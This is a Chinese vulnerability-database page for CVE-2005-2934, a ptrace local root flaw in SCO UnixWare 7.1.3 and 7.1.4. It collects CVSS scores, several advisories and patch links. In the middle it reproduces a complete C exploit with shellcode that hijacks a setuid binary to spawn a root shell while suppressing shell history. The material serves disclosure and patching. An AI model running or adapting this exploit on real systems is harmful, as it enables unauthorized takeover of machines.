CVE-2005-2934
CVSS7.2
发布时间 :2005-12-31 00:00:00
修订时间 :2011-03-07 21:25:18
NMCOEPS    

[原文]Unspecified vulnerability in ptrace in SCO UnixWare 7.1.3 and 7.1.4 allows local users to gain privileges via unspecified vectors.


[CNNVD]SCO UnixWare ptrace()本地权限提升漏洞(CNNVD-200512-748)

        UnixWare是由SCO公司开发和维护的商业性质Unix操作系统。
        SCO UnixWare的ptrace()系统调用在实现上对被调试进程的权限处理上存在漏洞,本地攻击者可能利用此漏洞提升自己在系统中的权限。
        SCO没有正确检查被跟踪可执行程序的权限。ptrace()系统调用提供了在系统上调试其他进程的接口。SCO Unixware在实现ptrace系统调用时没有检查二进制程序上的setuid权限,导致攻击者可以以root权限完全控制所跟踪进程的内存和执行。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sco:unixware:7.1.4
cpe:/o:sco:unixware:7.1.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2934
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2934
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200512-748
(官方数据源) CNNVD

- 其它链接及资源

http://secunia.com/advisories/18958
(VENDOR_ADVISORY)  SECUNIA  18958
ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2006.9/SCOSA-2006.9.txt
(VENDOR_ADVISORY)  SCO  SCOSA-2006.9
http://xforce.iss.net/xforce/xfdb/24856
(UNKNOWN)  XF  unixware-ptrace-privilege-elevation(24856)
http://xforce.iss.net/xforce/xfdb/24856
(UNKNOWN)  XF  unixware-ptrace-gain-privileges(24856)
http://www.securityfocus.com/bid/16765
(UNKNOWN)  BID  16765
http://www.idefense.com/application/poi/display?type=vulnerabilities
(UNKNOWN)  IDEFENSE  20060224 SCO Unixware Setuid ptrace Local Privilege Escalation Vulnerability
http://securitytracker.com/id?1015676
(UNKNOWN)  SECTRACK  1015676

- 漏洞信息

SCO UnixWare ptrace()本地权限提升漏洞
高危 设计错误
2005-12-31 00:00:00 2006-02-28 00:00:00
本地  
        UnixWare是由SCO公司开发和维护的商业性质Unix操作系统。
        SCO UnixWare的ptrace()系统调用在实现上对被调试进程的权限处理上存在漏洞,本地攻击者可能利用此漏洞提升自己在系统中的权限。
        SCO没有正确检查被跟踪可执行程序的权限。ptrace()系统调用提供了在系统上调试其他进程的接口。SCO Unixware在实现ptrace系统调用时没有检查二进制程序上的setuid权限,导致攻击者可以以root权限完全控制所跟踪进程的内存和执行。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2006.9/SCOSA-2006.9.txt

- 漏洞信息 (1534)

SCO Unixware 7.1.3 (ptrace) Local Privilege Escalation Exploit (EDBID:1534)
sco local
2006-02-26 Verified
0 prdelka
N/A [点击下载]
/* SCO Unixware 7.1.3 ptrace local root exploit
 * ============================================
 * SCO Unixware 7.1.3 kernel allows unprivledged users
 * to debug binaries. The condition can be exploited
 * by an attacker when he has execute permissions to 
 * a file which has the suid bit set.
 * 
 * Example.
 *
 *  $ uname -a
 *  UnixWare iron 5 7.1.3 i386 x86at SCO UNIX_SVR5
 *  $ /linux/bin/bash
 *  bash-2.05$ uname -a
 *  Linux iron.fi.st 2.4.13 #1 Thu Oct 31 02:32:23 EST 2002 i686 unknown
 *  bash-2.05$ id
 *  uid=122(matt) gid=1(other) groups=1(other)
 *  bash-2.05$ ./fu /unixware/usr/lib/sendmail
 *  [ SCO Unixware 7.1.3 ptrace local root exploit
 *  [ Using 0xbfffed78
 *  sh-2.05# id
 *  uid=0(root) gid=1(other) groups=1(other)
 *  sh-2.05# 
 * 
 *  - prdelka
 */
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <syscall.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <asm/user.h>



char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		 "\x90\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0"
		 "\x50\x68""//sh""\x68""/bin""\x89\xe3\x50"
		 "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main(int argc,char* argv[])
{
	int esp, eip, i = 0;
	struct user_regs_struct regs;
	char *env[] = {"HISTFILE=/dev/null",NULL};
	pid_t pid;
	printf("[ SCO Unixware 7.1.3 local root exploit\n");
	if(argc < 2)
	{
		printf("[ Usage: [binary]\n");
		printf("[ e.g -rwsr-sr-x root root /linux/opt/kde2/bin/kcheckpass\n");
		exit(0);
	}
	switch (pid = fork())
	{
	case -1:
		perror("fork");
		break;
	case 0:		
		ptrace(PTRACE_TRACEME, 0, 0, 0);		
		pid = getpid();
		execle(argv[1],argv[1],NULL,env);		
		break;
	default:		
		waitpid(pid, NULL, 0);	
		ptrace(PTRACE_GETREGS, pid, NULL, &regs);
		esp = eip = regs.esp - 512;
		while (i < strlen(shellcode)) 
		{
			ptrace(PTRACE_POKETEXT, pid, esp, (int) *(int *) (shellcode + i));
			i += 4;
			esp += 4;
		}
		regs.eip = (long) eip;
		printf("[ Using 0x%x\n",regs.eip);	
		ptrace(PTRACE_SETREGS, pid, NULL, &regs);
		ptrace(PTRACE_DETACH, pid, NULL,NULL);
	}
	usleep(1);
	wait(0);
	return 0;
}

// milw0rm.com [2006-02-26]
		

- 漏洞信息 (F44193)

iDEFENSE Security Advisory 2006-02-24.t (PacketStormID:F44193)
2006-02-26 00:00:00
iDefense Labs  idefense.com
advisory,arbitrary,local,root
unixware
CVE-2005-2934
[点击下载]

iDefense Security Advisory 02.24.06 - Local exploitation of an access validation error in SCO Unixware allows attackers to gain root privileges. The vulnerability specifically exists due to a failure to check permissions on traced executables. The ptrace() system call provides an interface for debugging other processes on the system. SCO Unixware's implementation of the ptrace system call fails to check for setuid permissions on binaries before attaching to the process. This results in the complete control of memory and execution for the traced process with root privileges. Attackers can inject data into the running setuid process and execute arbitrary code with root permissions. iDefense has confirmed the existence of this vulnerability in SCO Unixware versions 7.1.3 and 7.1.4. All previous versions of SCO Unixware are suspected to be vulnerable.

SCO Unixware Setuid ptrace Local Privilege Escalation Vulnerability

iDefense Security Advisory 02.24.06
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=395
February 24, 2006

I. BACKGROUND

SCO Unixware is a Unix operating system that runs on many OEM platforms.

More information about the product is available from:

  http://www.caldera.com/products/unixware714/

II. DESCRIPTION

Local exploitation of an access validation error in SCO Unixware allows
attackers to gain root privileges.

The vulnerability specifically exists due to a failure to check
permissions on traced executables. The ptrace() system call provides an
interface for debugging other processes on the system. SCO Unixware's
implementation of the ptrace system call fails to check for setuid
permissions on binaries before attaching to the process. This results
in the complete control of memory and execution for the traced process
with root privileges. Attackers can inject data into the running setuid
process and execute arbitrary code with root permissions.

III. ANALYSIS

Exploitation of this vulnerability is trivial. Simply placing shellcode
in the environment and changing the instruction pointer via ptrace() is
enough to elevate privileges.
    
IV. DETECTION

iDefense has confirmed the existence of this vulnerability in SCO
Unixware versions 7.1.3 and 7.1.4. All previous versions of SCO Unixware
are suspected to be vulnerable.

V. WORKAROUND

It is not possible to reduce the impact of this vulnerability other
than to restrict access to the affected systems.

VI. VENDOR RESPONSE

The vendor has released the following advisory to address this issue:

  ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2006.9/SCOSA-2006.9.txt

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-2934 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

09/15/2005  Initial vendor notification
10/13/2005  Initial vendor response
02/24/2006  Public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to remain anonymous.

Get paid for vulnerability research
http://www.iDefense.com/poi/teams/vcp.jsp

Free tools, research and upcoming events
http://labs.iDefense.com

X. LEGAL NOTICES

Copyright     

- 漏洞信息

23390
SCO UnixWare ptrace() Function Local Privilege Escalation
Local Access Required
Loss of Integrity Patch / RCS
Exploit Private Vendor Verified, Coordinated Disclosure

- 漏洞描述

- 时间线

2006-02-21 Unknow
2006-02-25 2006-02-21

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, SCO has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

SCO UnixWare Ptrace Local Privilege Escalation Vulnerability
Design Error 16765
No Yes
2006-02-21 12:00:00 2006-05-31 10:33:00
The original discoverer of this issue wishes to remain anonymous.

- 受影响的程序版本

SCO Unixware 7.1.4
SCO Unixware 7.1.3

- 漏洞讨论

SCO UnixWare is prone to a local privilege-escalation vulnerability.

This issue allows local attackers to 'ptrace' privileged processes. Attackers may call arbitrary system calls, and then alter the behavior of the traced process, leading to a full system compromise.

SCO UnixWare 7.1.3 and 7.1.4 are vulnerable.

- 漏洞利用

Although an exploit as such isn't required to trigger this issue, attackers may need to create an application to use the 'ptrace()' functionality to execute arbitrary code in a setuid-superuser application.


A proof-of-concept example is available:

- 解决方案

The vendor has released an advisory and fixes to address this issue. Please see the referenced advisory for further information on obtaining and installing fixes.


SCO Unixware 7.1.3

SCO Unixware 7.1.4

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站